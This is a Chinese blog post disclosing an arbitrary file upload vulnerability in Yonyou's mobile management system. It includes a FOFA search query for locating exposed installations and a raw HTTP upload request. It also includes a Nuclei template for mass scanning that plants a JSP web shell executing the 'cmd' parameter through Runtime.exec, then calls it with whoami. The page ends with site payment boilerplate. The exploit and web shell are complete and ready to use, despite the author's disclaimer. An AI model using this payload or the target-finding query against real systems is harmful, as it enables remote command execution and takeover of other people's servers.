用友移动管理系统 任意文件上传

一、免责声明:

本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号望雪阁及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!

二、产品介绍:

图片

三、资产梳理:

fofa:app=“用友-移动系统管理”

四、漏洞复现:

图片


POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server
Connection: close
Content-Length: 202

------WebKitFormBoundaryvLTG6zlX0gZ8LzO3
Content-Disposition: form-data; name="downloadpath"; filename="a.jsp"
Content-Type: application/msword

hello
------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--

木马地址:http://127.0.0.1/maupload/apk/a.jsp

五、Nuclei POC:

nuclei批量检测:
图片

id: yongyou_mobile_files_upload
info:
  name: yongyou_mobile_files_upload
  author: joyboy
  severity: critical
  description: http://xxx.xxx.xxx/maportal/appmanager/uploadApk.do?pk_obj=
  metadata:
    max-request: 1
    fofa-query: app="用友-移动系统管理"
    verified: true
  tags: 用友-移动系统管理,files_upload

requests:
  - raw:
      - |-
        POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3

        ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3
        Content-Disposition: form-data; name="downloadpath"; filename="a.jsp"
        Content-Type: application/msword

        <%@ page import="java.util.*,java.io.*,java.net.*"%>
        <%
          Process p;
          out.println("whoami:");
          if(System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0){
            //p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});
            p = Runtime.getRuntime().exec(request.getParameter("cmd"));
          }else{
            p = Runtime.getRuntime().exec("whoami");
          }
          OutputStream os = p.getOutputStream();
          InputStream in = p.getInputStream();
          DataInputStream dis = new DataInputStream(in);
          String disr = dis.readLine();
          while ( disr != null ) {
            out.println(disr);
            disr = dis.readLine();
          }
        %>
        ------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--
      - |+
        GET /maupload/apk/a.jsp?cmd=whoami HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

    req-condition: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_2), "whoami") && status_code_2 == 200'
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值